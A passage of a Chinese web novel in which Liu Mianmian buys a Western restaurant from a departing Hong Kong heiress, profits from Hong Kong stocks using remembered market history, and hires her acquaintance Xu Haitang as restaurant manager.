虽说她也不是那种嫌贫爱富的人,她和余国栋是偶然认识自由恋爱的,感情还是很深的,但是谁又会不喜欢婆家有钱呢?能过好日子,自然是不想过穷日子的。 这一回,就是余永诚和许丽也没说什么反对的话,孩子们有想法,他们尽全力去支持就是了。 当然,夜里没其他人的时候,老两口也会有些恍惚,这一下子养鱼一下子开榨油坊的,就像乡里围墙上画的那些标语,这真要齐心协力奔小康了? 王志远倒是念念不忘养猪大业,正好刘婶老两口这几天也在,王志远不知怎么的,说服了刘婶他们,老两口答应拿出积蓄来投资他搞养猪场。除了刘婶两口子,他也找柳绵绵和沈维舟了,他自己的积蓄加上爹妈给的肯定也不够嘛。 他说自己早都看好了地方,就留下村后山前面的那片荒地,而且也旁敲侧击地跟村支书打听过了,租金不贵的。 柳绵绵看着他黢黑皮肤露出一口大白牙,觉得他有这样的毅力,干什么都会成功的,自然也是一口答应。 当然,年前是来不及了。 而且养猪也不是什么简单的事情,王叔说自己有战友在国营养猪场工作,准备安排王志远过去给人当个学徒,先把技术给学会了。 商量好了,柳绵绵他们就回南城了,王志远继续留在前进乡,毕竟鱼塘他也是投了钱的,年前得和余国栋他们一起先把鱼卖了。 柳绵绵他们一回到南城,隔壁邻居就过来说,西餐厅那边连着两天都过来找人,请她回来了,就去一趟西餐厅。柳绵绵给了邻居一把从乡下带回来的干笋,谢过对方。 进门后才和沈维舟嘀咕:“也不知道什么事?” 自从投资的生意越来越多,柳绵绵感觉自己偶尔动动脑子、巡视巡视,其实也挺忙的,再说,如今的她已经不是当初那个身上没几块钱的柳绵绵了,就想把西餐厅的工作给辞了。 不过柳绵绵去找陈经理辞职的时候,陈经理没同意,反而用他那口听着有些幽默的港普,推心置腹地劝说她。 如果只是因为觉得工作时间太长,那减少工作时间就可以了嘛,就这样离开,那些为了听她弹琴跨越整个城区千里迢迢跑来芷江路吃饭的人、那些每周准时准点过来就为了点一首的曲子的人,那些她的忠实粉丝,该多么的伤心。 柳绵绵倒是不觉得,人家在餐厅吃饭听不见她弹琴有什么可伤心的,但是她被陈经理说的减少工作时间打动了,最后俩人协商下来,柳绵绵只工作晚间的两小时,工资减半,点曲费照常。 柳绵绵不上岗或是请假的时段,由那位金老师顶上,金老师也没时间的时候,陈经理表示,那就开天窗好了啦。 其实偶尔去西餐厅上上班,柳绵绵还挺乐意的,相当于带薪练琴了,还能顺带听听港城的八卦。 这几天去乡下,她跟餐厅请了假的。 金老师的孩子身体不好,似乎是需要不少医疗费,在时间允许的情况下,她是很乐意多上班的,只不过她自己工作也忙,还得照顾孩子,所以也不是都能抽得出时间过来兼职。 但是既然陈经理能那么轻松地说出开天窗的话,应该不至于因为没人弹琴而三番两次地让人来找她吧? 心里疑惑,柳绵绵稍作洗漱休整后,就去了西餐厅。 还没到饭点,餐厅里大家正在做准备工作,收银阿琳看到柳绵绵,第一句话就是:“咱们这个餐厅可能要开不下去了。” 柳绵绵震惊地看着她,回忆了下餐厅的上座率,迟疑道:“不会吧,上座率那么高,利润也不薄,咱们餐厅应该挺挣钱的啊!” 有句话叫哪个时代都不缺有钱人,何况改开已经这么多年,不少最先搏击风浪的“弄潮儿”,都已经富得流油了,所以别看他们餐厅费用不低,但是他们的西餐正宗呀,生意是真的挺不错的。 接下去的几十年,华国的有钱人只会越来越多,餐厅的生意只会越来越好。 阿琳左右看看,拽着柳绵绵去角落里说话:“咱们餐厅生意是好,但是咱们老板要回港城了,陈经理说了,一家餐厅,又不是一个厂子,老板不可能自己走了,还把店留着,他说他也要跟着老板回港城了。” “不都说林二小姐喜欢住南城,怎么突然要回去?”柳绵绵蹙眉问。 阿琳能当收银,那必须是陈经理的心腹,知道的东西可不少,她压着声音说:“林大老板查出患了癌症,他在港城有四房太太、十一个子女,咱们老板说是说二小姐,其实是三房太太生的老二,现在港城那边闹得不可开交,她肯定得赶紧回去的。” 阿琳更加压低了声音:“我听陈经理说的,因为老板喜欢住南城,林大老板觉得她是个不忘本的人,把内地的一些大项目都交给她负责,像是芷江大桥,她就是林氏这边的对接人。偏偏她运气不好,这边事业正干得如火如荼,那边林大老板竟然查出了癌症。那她守着内地这些项目有什么用?肯定得赶紧回去病床前尽孝的啊!” 阿琳眨眨眼,一副“懂得都懂”的表情。 柳绵绵:“……” 所以,陈经理几次三番让人去找她,难道是就为了告诉她餐厅开不下去,她要被解雇了? 这个问题阿琳也答不上来,她只知道其实是林二小姐想见柳绵绵。 柳绵绵深深看了她一眼,心说其实你知道的已经够多了。 她跟阿琳道了谢,去了二楼的经理办公室。 陈经理正坐在办公桌前奋笔疾书,看到柳绵绵,就把摊开的笔记本合上,亲自给柳绵绵倒了杯咖啡,开门见山说:“柳小姐,系老板想要见你啦,不过她今早的飞机已经回港城了,你们错过了啦。” 柳绵绵坐下,好奇问:“林小姐找我是?” 陈经理神秘地笑了笑,说:“老板想和你做一笔生意。” 柳绵绵心说,林二小姐总不会是想把西餐厅卖给她吧,老实说,她倒是想买,但是没那么多钱啊! “我哪有资本和林小姐做生意。”柳绵绵说。 陈经理摇头:“柳小姐,你认识徐家人,怎么会没有资本和老板做生意?” 柳绵绵挑了下眉。 他是怎么知道她和港城徐家人认识的?魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 60-70 第61章 西餐厅,我的了 陈经理看出柳绵绵的疑惑,解释说:“徐蕙云女士在经纪行开户投资股票的事情上了报纸,资金虽然不多,但几个月时间就挣了好几倍,港城的师奶们都打电话到电台,想要请徐女士上节目给大家介绍股票。” 徐家建国前就在港城投资办厂,数十年下来,已经算是港城的老牌豪门。徐蕙云一生未嫁,名下拥有徐氏近百分之三十的股份,是港城出了名的单身女富豪。 女富豪退休前投身实业,退休后热衷书画,突然有一天跑到经纪行开户,投了区区十万港币炒股票,要不是小报拍到了照片,都没人敢相信。 港城狗仔向来无孔不入,哪怕经纪行维护客人隐私,并不对外透露顾客投资情况,但内部职员拿女富豪投十万猛赚四十万的事情当饭后谈资,消息还是被传了出来。 于是港城师奶纷纷表示,想要跟着女富豪学炒股票,不过徐蕙云压根没有回应这件事。 林家和徐家都是从南城出去的,相比港城其他豪门,关系自然要更亲近些,尤其林家三房太太平时也喜欢写写字什么的,和徐蕙云也算有一些来往。 所以外头的人不知道,林家倒是得了消息,徐蕙云那股票根本不是自己买的,是帮着内地的小辈买的。 徐家还有个小姐在南城这件事儿,林家也是知道的,只不过徐蕙兰在改开之前就已经过世,这些年也没见徐蕙兰的后人去港城,林家人只以为徐蕙兰已经没有后人了。 他的人家,留在内地的,不少都没熬过最艰难的那几年,这也没什么奇怪的。 也是这一回才知道其实徐蕙兰是有后人留在南城的,林二小姐自己就在南城,于是就打听了一下,这不查不知道,一查才知道,原来徐蕙兰的孙媳就在她的餐厅里弹钢琴。 没等林二小姐作出什么反应,港城那边就传来了林泰和癌症的消息,林二小姐只能匆匆赶回港城。 林家局势即将天翻地覆,后面内地的项目是不是依然由她负责还是个未知数,林二小姐就打算把南城的一些东西都转了。 她说自己喜欢待在南城,不过是摸清了老头子的心理,投其所好罢了。 林二小姐在内地几年,对内地未来的发展潜力也是有一定认知的,但是她作为港城豪门的小姐,骨子里还是更喜欢港城的花花世界,如今南城已经无法给她带来任何利益,她自然不想再在这个城市多花心思。 柳绵绵听陈经理简单介绍了港城林、徐两家的关系,从他的言语之间还真听出了点意思。 林二小姐觉得她这个徐家的后人,理应是看不上西餐厅那仨瓜俩枣的工资的,结合她高超的琴艺判断,觉得她应该是纯粹喜欢西餐厅的环境和弹琴的氛围。反正这个餐厅她准备出手了,卖谁不是卖,她还真准备卖给柳绵绵。 柳绵绵:“……” 只能说林二小姐真是想多了,她当初找这个工作,还真就是图它那远远高于仨瓜俩枣的工资。 “餐厅的房子老板是买下来了的,当时买来是一万二两千元,这几年南城房价涨了不少,不过老板说了,涨不涨价的无所谓,她还是原价卖给你,至于餐厅的装潢设备什么的,算三千,一共一万五千元。”陈经理笑眯眯说。 柳绵绵:“……” 不是,她估算过的,餐厅这小洋楼的价格,现在至少得两三万了,餐厅的装潢设备,折算下来至少也得好几万了,毕竟一台钢琴就价值不菲了,所以想盘下这个餐厅,至少也得五万打底,十来万也有可能的。 她手头确实没有这么多钱,所以这个念头根本不敢有。 但如果说一万五,她好像还真能拿得出来。 毕竟,别看她投出去不少钱,但其实挣回来的更多呀。 就年底这段时间,服装店肯定得大赚一波,留下村鱼塘山地的分红也能到账一些。 虽说还得留一些开榨油坊的钱,但榨油坊其实主要也就是一个设备投入。 场地租金肯定没多少,人员工资约等于无,毕竟接下来是农闲的时候,以她对余家人的了解,这种时候他们肯定是自己顶上,绝对不会另外花钱雇人的。 总而言之,言而总之,要是五六万、十来万,她肯定是拿不出来的,但只是一万五……柳绵绵不得不承认,她是真的心动了。 餐厅生意不错,每年能挣不少钱,一万五,不用多久就能挣回来了。 不过,天上不会掉馅饼,人林二小姐也不是二傻子,明明值更多钱的西餐厅,肯定也不会这样白白的便宜大甩卖给她,肯定是有附加条件的。 柳绵绵笑了笑,问陈经理:“这个价格转给我的话,林小姐太亏了吧?” 陈经理摇头,直言道:“这点钱对老板来说只是洒洒水啦,老板的妈咪和徐蕙云女士很熟悉的,她也是想和你交个朋友。再说,这个餐厅老板花了不少心血的,转给其他人,她也怕人家不用心经营,或者就是买过去就把餐厅关掉了,转给你就不用担心了。柳小姐对餐厅有感情的啦,肯定能把餐厅做得更好啰。” 柳绵绵懂了,说来说去,其实这个面子是给徐蕙云的。 她想了想,笑着摇头说:“我是今年才结婚的,没有见过徐蕙云女士,和她不熟的。林小姐要是因为徐女士的缘故,就亏本把餐厅转让给我,我受之有愧。” 这话陈经理自然是不信的,徐家在内地只剩沈家这一门亲戚,徐蕙云帮小辈代持股票,这个小辈自然也只能是沈家。 但是据他们的了解,沈家是书香门第,徐蕙兰的独子、儿媳、孙子都在相关政府单位工作,孙女还在读书,家里最有可能玩投资的就是柳绵绵。 徐蕙云那样的身份,真要投资玩股票,那些有名的大经纪都会主动**,偏偏她开玩笑似的只拿了十万出来,并且自己直接上门去了经纪行。这件事表面上看着十足诡异,但是内里深究,却可看出徐蕙云对托付她办事的“内地小辈”的重视。 几万块钱,于林二小姐来说,不过是几个手袋的钱,如果能和徐蕙云看重的人处好关系,何乐而不为? 不过,既然柳绵绵这么说,陈经理自然也不好多说什么,他笑道:“徐女士只是一方面原因,主要原因还是老板希望有人能好好把餐厅继续开下去,柳小姐你显然是最合适的人选啦!她离开之前已经签好了转让协议,一万五转让给你,不过有一个附加条件,五年内都不许关掉餐厅。” 陈经理摊了摊手:“要是经营不好,低价转过去也没用,五年可是能亏不少钱的哦。当然,我是相信柳小姐的啦,肯定是财源广进,天天发财的啰。” 既然他不再提徐蕙云,那这件事就可以当正常的商业行为来处理了。 陈经理说的也没错,如果餐厅经营不善,五年确实能亏掉不少钱,想不亏钱就只能关门,到时候还是违反合约,人家完全可以把餐厅收回去。 这么说的话,转让费低一点,倒是也说得过去了。 柳绵绵心动不已,不过她并没有一口应下,而是说:“那我先回去和家里人商量商量。” 这么大的事情,不止要回去家里商量商量,还得打电话到港城跟徐蕙云商量一下。 徐蕙云接到电话时倒是很淡定:“林瑶的餐厅啊,她愿意多少钱转给你们是她的事情,做生意嘛,一个愿意卖一个愿意买就行了,背后的想法不重要的。” 她淡淡笑了一声,用严肃的语气说了个冷笑话:“我也不可能因为这件事就帮她争遗产对吧?” 几万块钱的事情,回头让人送件礼物过去还了人情也就是了。 既然徐蕙云这么说,柳绵绵也就放心了。 西餐厅确实是个不错的投资项目,但是她也不想因为这个事情让长辈为难。 柳绵绵还挺喜欢这位姨奶奶的,哪怕没见过面,可光从电话里的交流就能听出来,这是位很能干很有想法的女性。 徐蕙云也说起最近港城师奶打电话让电台请她上节目的事情:“我对股票一知半解的,让我去电台教大家炒股,不要一周师奶们就得打电话到电台骂我。” 说着她就欢快地笑了起来,笑了好一会儿才又说:“绵绵,你的股票已经涨到快八十万了,要调仓换股吗?”外面传她十万炒到了五十万,其实都是滞后的消息了,十万已经快变成八十万了。 柳绵绵拿着自己平时分析港城股票市场做笔记的小本本,思考了一会儿,说:“一周后抛掉,然后换这两支股票吧。”她说了两支股票的名字。 所幸这个世界的一些基础设定和她原来的世界是差不多的,她记忆中的一些内容也是有很大的参考价值。她上辈子也炒股的,仔细研究过历史上那些有名的牛市和股灾,对这时候港城的股票市场还是有些印象的。 只可惜手里资金有限,就起家的那十万港币,其实也只有一半是她自己的,另一半还是徐蕙云给她添补上去的,说是给她的零花钱。 不过想想,才几个月时间,十万变成了八十万,柳绵绵又乐得眉开眼笑,加上她手头的钱,都折算成港币的话,她也算是有百万资产的人啦! 而且,这个钱还会像滚雪球一样越滚越大的。 徐蕙云自己对股票没有兴趣,反正就是柳绵绵让她怎么操作她就怎么操作,打个电话给股票经纪就行了。 当初亲自去经纪行,她也是抱着实地去了解一下的想法,虽然没多少钱,但是内地的经济水平和港城不一样,徐蕙云知道,这对于柳绵绵来说,已经是一笔很大的钱了,她自然是要认真对待的。 倒是没想到会被狗仔拍到。 徐蕙云自己没有买股票,但是家里一直跟着她照顾她起居的红姐倒是跟着买了一点,也是挣了不少,高兴得天天在厨房里面哼粤剧。 得了徐蕙云的准话,柳绵绵第二天就找陈经理商量转让的细节了。内地人从港商手里把资产买回来,流程远比林二小姐当初开这家西餐厅的时候要简单,陈经理大概也是归心似箭,没几天就把事情都办妥了。 除了陈经理带着收银阿琳走人,西餐厅其他人不变,哪怕是天天光顾的老顾客,都没有发现这家餐厅虽然外表看上去没有任何变化,实际上却已经易主。 办完手续这天,柳绵绵拎着装了房产证和转让协议的包,回到西餐厅门口,看着花木掩映中的招牌,笑眯眯想:嘿,这个西餐厅现在是我的了。 餐厅前台,收银阿琳正和田苗苗在交接。 临时不好找人,再说柳绵绵觉得,收银这个活儿其实很简单,她平时和餐厅里的人接触都挺多,田苗苗做事认真细致,柳绵绵就让她接替收银的工作。 收银比服务员工资高,活儿却更轻松,田苗苗做梦都想不到,自己竟然能成为收银,拍着胸脯向柳绵绵保证,绝对不会弄错哪怕一笔账。 田苗苗性格单纯,虽说是阿琳走了她才有机会做收银,但是她又很替阿琳担心:“陈经理会不会是骗你哦,港城那边跟我们很不一样的,男人能娶好几个老婆的……” 阿琳笑笑:“港城现在已经不能娶好几个老婆了。” 再说,她也不是去港城给陈经理当小老婆的,她去港城,是想看看外面的世界。听说南边有很多人偷渡都要去港城,她有机会光明正大过去,干嘛不抓住机会?留在南城,她可能一辈子都看不到外面的世界。 柳绵绵请阿琳在餐厅里吃了个饭算作饯行,阿琳喝了点酒,哭得稀里哗啦的,哭完了把眼泪一抹,笑着和大家道了别。 因为要交接,这一天餐厅是没有营业的,柳绵绵正准备离开,忽然听见田苗苗在前台那边接了个电话,简单交谈挂完电话后,田苗苗喊住柳绵绵:“老板,金老师打来的,说明天她要带孩子去医院,就请假不过来了,明天的钢琴是你自己弹吗?” 柳绵绵:“…………行吧。” 想起陈经理说的“顶多开天窗啦”,这一刻柳绵绵感觉自己被回旋镖无情地扎了一下。 敢情顶多开天窗的是她自己啊! 刚买下西餐厅第一天就得知自己要顶岗加班的柳绵绵表示无语凝噎。 第62章 意外的应聘者 当上西餐厅老板后,柳绵绵觉得自己再每天过来弹琴就不合适了,偶尔兴致来了过来弹两首就行了,平时还是得找人过来。 以前她在餐厅弹琴是为了挣工资,现在整个餐厅都是她的,也没必要挣这个工资了。 她让金老师帮忙介绍了两个人,也都是在学校里面教音乐的老师。 原本大家都觉得在餐厅里面弹琴,就跟古时候达官显贵饮酒作乐时让人唱歌跳舞差不多,是挺丢份儿的事情。金老师也是因为家里孩子生病,急需用钱,才不得不出此下策。 但是时间久了,不少人也听说了,金老师在西餐厅弹弹琴,收入竟然是平时工资的好几倍,金老师自己都说,要不是喜欢老师这个工作,单纯为钱的话,她还不如辞职去餐厅专职弹琴了呢。 而且,因为金老师在西餐厅弹琴,她们几个要好的,还凑钱去餐厅消费过一次,然后就发现,西餐厅的环境是真的好,在餐厅里弹琴,其实也没有她们想象中那么丢份儿,客人都很有素质,人家认可你的实力,还会另外出钱点喜欢的曲子呢。 其实跟上台演奏也差不多。 无非就是演奏的环境稍微有一点差别而已。 所以这回金老师说餐厅里还想再找两个人,大家好轮一轮,互相都轻松一点,马上就有两个人主动报名了。其实报名的不止两个人,其他人稍微晚了一步,就被金老师婉拒了,那些人回去之后倒是万分后悔,不该犹豫了那么一会儿,这么好的机会,被别人捷足先登了。 钢琴师其实还不是最重要的,最重要的是得赶紧找个人来顶陈经理的位置,不然没人管着餐厅,柳绵绵就得每天自己过来管着。 只不过这种管理型的人才也不是那么容易找的。 为了尽快招到人,柳绵绵斥重金在南城晚报上登了招聘启事,陆陆续续的倒是有不少人上门来求职,只是都不太合适。 有学历的,没有管理经验,有管理经验的,眼高于顶,看见老板是她这么一个年轻姑娘,就立马摆上了架子,还有一些就是没能力又自信的,总之都不太合适。 这天下午,柳绵绵正窝在餐厅二楼的办公室里睡回笼觉,被人叫醒了,说是又有一位求职者上门了。 柳绵绵让把人请到会客室,她洗了把脸才过去,一进门看到人不禁愣了一下:“许同志?” 坐在会议桌前面的竟然是许海棠。 这几个月柳绵绵忙着搞服装店,刘婶也忙着卖她的萝卜条,俩人忙于事业,交流八卦的时间都少了,所以柳绵绵倒是没再听刘婶提起许海棠。 许海棠看着有点憔悴,也瘦了一些,眼角甚至还有些乌青。 看到柳绵绵,她也是愣了一下,迟疑问:“柳同志,这家餐厅不是……?” 柳绵绵走进去,在她对面坐下:“这家餐厅原先确实是林二小姐的,不过她已经离开回港城去了,离开前把餐厅卖给了我。出于餐厅生意的考虑,这个消息我们淡化处理了。” 许海棠点点头,神情有些恍惚。 她俩是同一天结的婚,加上柳绵绵还帮过她,所以许海棠对柳绵绵还是有些了解的。 听说她是在乡下长大的,来南城也不过两三年时间,嫁给沈维舟之前,甚至都没有工作。 可是,一年不到的时间,她跟人摆摊做生意、开店做服装,现在,竟然还成了这么大一家西餐厅的老板。 正是因为有一定的了解,许海棠可不认为柳绵绵是靠沈家的,沈家那是书香门第,一家子没人会做生意的,给点本钱可能是有的,但是生意绝对是柳绵绵自己做起来的。 柳绵绵主动问:“你不是在服装厂做采购吗,我看你做得还挺好的,怎么忽然想要换工作?” 许海棠苦笑了下:“我想换个环境。” 既然来面试,她自然也是有所准备的,人家要用你,肯定是要搞清楚你的情况的。 只不过,许海棠一时之间还真不知道该从何说起。 但是因为对方是柳绵绵,她又一种松了口气的感觉,面对帮过她的柳绵绵,有些事情好像也就没那么难开口了。 而且,很多话憋在心里,许海棠感觉自己其实早就想找人说一说了。 “柳同志可能也知道,我丈夫孙敏俊是我们厂里车队的,当初我和他处对象,我家里其实是不同意的,但是……” 但是孙敏俊这个人嘴甜会说话,几乎每句话都能说到她心坎上,她明知道他家条件一般,也还是顶着父母的压力,坚持嫁给了对方。 父母最终拗不过她,还是同意了,又怕她去了孙家日子不好过,就尽量给她贴补了不少嫁妆,当初那些被偷走的金银首饰,就是父母给她置办的。 其实孙敏俊工资不低,他人也活络,平时出车总会想办法自己倒腾点东西,收入比一般工人都要高的。加上许海棠自己也有正经工作,她原本想着两个人的收入,经营个小家是没有问题的。等以后手头再攒一点钱,自己买个房子,就能搬出大杂院单过了。 但是结婚后许海棠才知道,丈夫的收入四分之三都是要交给婆婆的,说是当初家里凑钱让他学开车的时候就讲好的。不但如此,婆婆还要求她交一半的工资当生活费。 许海棠从小被娇养长大的,当然不会闷不吭声的受委屈,她不同意,新婚的小两口因为这件事就冷战了好几天。孙敏俊指责她自私,只想着自己的利益,不顾兄弟亲情,许海棠委屈的不行,明明觉得自己有道理,却又不知道该怎么反驳孙敏俊。 两个人冷战好几天的结果就是,孙敏俊把自己的收入全部上交,他们小两口的支出都由许海棠负担。 许海棠一千一万个不乐意,可也只等点了头。 可她万万没想到,孙家人的胃口远不止这么点。 公安把失窃的金银首饰还给她以后,婆婆就又盯上了这些东西,时不时旁敲侧击地暗示,让她拿几件出来,贴补两个小叔子娶媳妇儿。 为这件事,她和孙敏俊又不知道吵了多少回。 后来她帮柳绵绵他们弄了瑕疵布料,那段时间孙敏俊刚好去了外地,他回来以后听说了这件事,又跟她生了好几天气,埋怨她有这么好的机会,不想着帮自己兄弟,倒是帮着外人,费了半天劲儿,自己没得一点好处。 许海棠真是觉得莫名其妙,就孙家那几个,老大闷不吭声,老三是个酒蒙子,老四是个混子,他们哪个像是能好好做生意的样子? 再说,当初那批布料成本可不低,就算她说了,他们也没本钱吃下这批货啊! 可是孙敏俊根本不听她的辩解,反倒是说,没有本钱她不能帮忙想办法吗,她父母亲戚那里借一些,回头货卖了还上不就行了。 为这事,他们又吵了好几回。 吵架以后许海棠回了几次娘家,后面怕父母担心,也有几次是住在厂里的值班室的。 然后,也不知道是谁造的谣,居然说她和另一位采购员有不正当男女关系。 “他听了那些谣言,就怀疑我,觉得因为他经常出车在外地,我就……”除了布料的事情没说,其他事情许海棠都简单说了说,她状态有些消沉,苦笑连连,“厂子里流言蜚语太多,我爸的意思是找领导给我换个岗位,不过我自己是想干脆辞职离开服装厂。” 她原本是想学柳绵绵他们,弄点布料衣服什么的去摆摊,但是她父母不赞同,觉得她这种老实性格,出门做生意容易被人骗。 也是偶然看见西餐厅在招人,许海棠也没管他们招什么,就跑过来应聘了。 不过来了以后许海棠其实弄清楚了,餐厅要招的是管理整个餐厅的经理,她有自知之明,感觉自己是应聘不上的。 柳绵绵微微蹙眉,原书里是因为那些金银首饰丢了,所以孙家站在道德的制高点,经常拿这件事来打压贬低许海棠,她听说金银首饰已经找回来的时候,就想着孙家折磨许海棠的根源没有了,许海棠应该不会再遭遇原书里的那些事了。 也是她之前想得简单了。 根源哪里是那些金银首饰,根源明明是孙家人的贪得无厌、恬不知耻。 柳绵绵问:“孙家那几兄弟现在怎么样?” 许海棠诧异看向柳绵绵,不明白她为什么突然问这个,不过还是回答:“还是老样子,喝酒的喝酒,混的混。”她自嘲地笑了笑,回过头看,她都有些不明白,自己当初究竟是中了什么邪,死活一定要嫁去这样的人家。 柳绵绵点点头,看来孙老三抢劫被捅的事情还没发生。 这些日子事情太多,要不是许海棠突然出现,柳绵绵都要忘记原书里的这些情节了。孙老三遭遇抢劫,好像就是年前这一阵子。 柳绵绵想了想,决定回头给公安递个匿名举报信,请他们关注一下年前这阵子的治安问题。毕竟抢劫的人也不是专门针对孙老三的,没准其他人也遇上了呢?公安要是关注一下,没准就能让无辜的路人甲捡回一条命,顺手的事情,柳绵绵是不介意“见义勇为”一下的。 柳绵绵皱着眉不吭声,许海棠以为是两个人认识,她这边又挺惨的,柳绵绵抹不开面子拒绝,于是忙说:“柳同志,我也是这阵子心里闷着,碰上你了就忍不住多说了几句。我来之前不知道你们这里招经理,我有自知之明,这活儿我干不了。” 柳绵绵又问了个不相干的问题:“你怀孕了吗?” 许海棠差点没反应过来,怔了怔,才红着脸不好意思地说:“没有的。” 顿了下,她又说:“我最近住在娘家。” 这情况又跟原书不一样了,原书里面,她这时候应该已经怀孕了。 不过原书里因为丢了金银首饰,许海棠深感自责内疚,对孙家人指责也并没有多反感,反而是委曲求全一再退让,现在金银首饰没丢,许海棠并不觉得自责,对孙家人的忍耐度自然降低,又经常因为与孙敏俊吵架而回娘家,可能就错过了怀孕的机会。 柳绵绵想了想,面对许海棠疑惑的眼神,她笑着解释了句:“我不歧视孕妇,只是我这个餐厅刚接手过来,前期的工作肯定是比较忙的,如果怀孕了的话,我怕你身体吃不消。既然没有怀孕,倒是没什么问题。不过,如果你决定入职的话,我希望你能答应一年内不要考虑要孩子。” 这个要求有点苛刻,不过如果许海棠一年内不生孩子,也许就能躲开原书里给她设定的“死劫”。 原书里,她是难产死的。 许海棠张口结舌:“你,你的意思是录用我?” 柳绵绵点点头:“虽然你原先是做采购工作,看似和餐厅的工作八竿子打不着,但其实餐厅经理的主要工作就是管理食材采购和餐厅日常。采购你有经验,而且你也很具有亲和力,能做采购沟通能力肯定也不成问题。我带你一阵子,熟悉餐厅运作模式后,你肯定很快就能上手的。” 整个餐厅技术含量最高的岗位就是厨师,其他岗位,只要肯花心思学,都不难的。 当然,最重要的是许海棠的人品值得信任,与其弄个滑不溜手的老油子在餐厅里,柳绵绵倒是宁可交给许海棠。 而且,大概是经历的事情多了,如今的许海棠和几个月前相比,改变还挺大的,似乎果决活络了许多。 柳绵绵伸出右手:“许经理,合作愉快。” 许海棠手足无措地伸出手:“柳同志,谢谢,谢谢你!”她自己是毫无信心的,但是没想到在柳同志的眼里,她竟然还拥有不少的优势,被柳同志这么一分析,她都感觉一下子有了信心。 柳绵绵笑笑,话锋一转,说:“月薪五百,奖金另算,你记得回厂里办离职的时候告诉大家,你是被我们西餐厅高薪挖走的,不然显得我们餐厅的经理没有排面。” 她可不想到时候人家说许海棠是在服装厂待不下去了才来的她这里,这对餐厅对许海棠来说,都不是什么好事。 大概是因为老板是港商,餐厅招工的要求又高,所以餐厅的整体工资水平是高于外面其他的餐厅、工厂的。 柳绵绵接手餐厅后,也没有更改工资标准,反正餐厅能挣钱,不差这点支出。 许海棠既然是来做经理,工资自然不可能比其他人低,不过柳绵绵也不会按照原来陈经理的标准就是了,毕竟陈经理是完全按照港城的工资标准领薪水的。 许海棠这点工资比起陈经理来说,那是打折打折再打折了的。 哪怕如此,许海棠也有些难以置信,这这这,这工资也太高了吧,比他们厂长都高出一大大大截了。 这么高的工资,只是要求一年内不生孩子,许海棠这会儿真是一点想法都没有了,别说一年,就是三年五年不生孩子也可以的。 反正她现在其实也根本不想给孙敏俊生孩子。 许海棠干劲十足,一瞬间就觉得孙敏俊挣的那仨瓜俩枣的给婆婆,她也不心疼了。 她每个月有五百工资,买什么不能自己买? 至于孙敏俊想花她的工资,许海棠想了想,觉得自己还是继续住娘家吧,也省得不小心怀上孩子。 许海棠回家和父母商量过后,第二天就去服装厂交了辞职申请。 人事科严科长和许爸爸关系不错,见许海棠跑来交辞职申请,怕她是一时冲动,劝道:“外面的人想找份工作千难万难的,你可不能意气用事,回头后悔了想回来可就回不来了。” 办手续的干事贾荭也笑着说:“可不是,现在不少国营工厂效益也不好,哪像咱们厂,年年效益都往上走的,海棠,可别因为几句闲言碎语就把安身立命的东西丢了。再说,你这工作哪怕不想做,其实也不一定要辞职的,让给家里人也行的啊!” 许海棠和贾荭都属于“厂二代”,但俩人年纪差了七八岁,平时接触并不多,贾荭忽然说这么多,许海棠还挺奇怪的。 伸手不打笑脸人,何况对方也是替她考虑,许海棠谢过严科长后,也冲贾荭笑了笑,说:“不用了,我家没有人需要这个工作。” 现在不比十年前,那时候工作还能卖给别人,现在是不行的,只能转给亲近的家人。她家里人都有工作,用不着这个工作,孙家人倒是需要工作,但是许海棠想着自己自从嫁进孙家,这些人不是逼着她干家务就是逼着她拿钱,她不想把工作给他们。 按照厂里规定,她辞职还能拿一笔遣散费,转了工作就一分钱也拿不到了。 牺牲自己的利益去成全孙家人这种事情,许海棠不想再做了。 贾荭张了张嘴,似乎想说什么,最后还是没说,只嘀咕了一句:“你回头可别后悔。” 许海棠想到柳绵绵说的话,压抑着羞耻感,大声说:“我不会后悔的,是芷江西餐厅出了高薪挖我过去做经理的,我不是一时冲动,是慎重思考才做的决定。” 严科长诧异道:“芷江路南边那个很贵的西餐厅?” 许海棠笑笑:“也没有很贵,严科长改天有时间过去试试,我请你。” 贾荭嗓门都高了好几度:“你居然要去那个餐厅做经理?!那个餐厅登报招聘经理,听说已经筛了好多人。”她家就有亲戚应聘失败的。 贾荭又问:“你说高薪,是多高薪?” 许海棠笑着说:“反正在咱们服装厂没人能拿那么钱。” 严科长:“……” 贾荭:“……” 这是比厂长还要高啊! 第63章 又找到了一个卷王 国营工厂办辞职手续没那么快,申请交上去以后还得领导讨论通过,不过既然交了申请,许海棠自然也不会再去上班,离开行政楼直接就往厂子外面走去。 严科长看着许海棠离开的方向,叹了口气:“小贾你也是厂子里长大的,小许的性格咱们都知道,她就不是会搞七捻三的人。何况,她要真看上李冠宇了,当初直接跟人小李处对象不就行了,嫁人孙敏俊做什么?那些传瞎话的人,可真是脑子不带一个。” 贾荭笑着应和了两声:“可不是,我也说他们就是胡说八道嚼舌根,倒是害得小许在厂里待不下去。” 她看了眼窗外,说:“科长,我去下厕所。” 严科长挥挥手,贾荭匆匆忙忙跑下行政楼,一扭身子去了车队那边。 今天仓库那边在卸货,车队没活儿,大家都搬了凳子坐门口晒太阳呢,看见贾荭,有人就招呼说:“哎哟,贾干事,来吃点瓜子。” 贾荭笑着打了招呼,冲垂眉耷眼坐在人群中的孙敏俊道:“敏俊,你媳妇儿刚刚来人事科了,有个事情我跟你说一下。” 孙敏俊站起来,跟着她走到旁边角落里。他们也没走远,就站在大家能看见的位置,但是这个距离,其他人是听不见他们说什么的。 贾荭直接就把许海棠来辞职的事情跟他说了:“敏俊,海棠的性子执拗,她要辞职,我也劝不动,何况她还说自己是辞了去餐厅当经理挣大钱,我就更不好说什么了。可既然她有这么一个工作,你们兄弟几个,又需要这个工作,她就这么辞了,可是太自私了。你放心,这事我先压着,你还是赶紧去做做工作吧。” 孙敏俊脸色非常难看,他以为许海棠这回也是跟以前一样,不高兴了就回娘家住几天,等着他去接人递台阶。 只是这回厂里流言蜚语传得沸沸扬扬,他心里不舒服,就不想太早去把人接回来。 他怎么都没想到,许海棠竟然直接辞职了。 他家兄弟四个,只有他一个是正式工,他每个月都工资都交给了家里,平时自己想方设法倒腾的一点,才捏在手里当个私房。就像贾荭说的,她许海棠要真不想干了,这工作给他兄弟不好吗? “贾荭姐,这事儿真是多亏你了。”孙敏俊说。 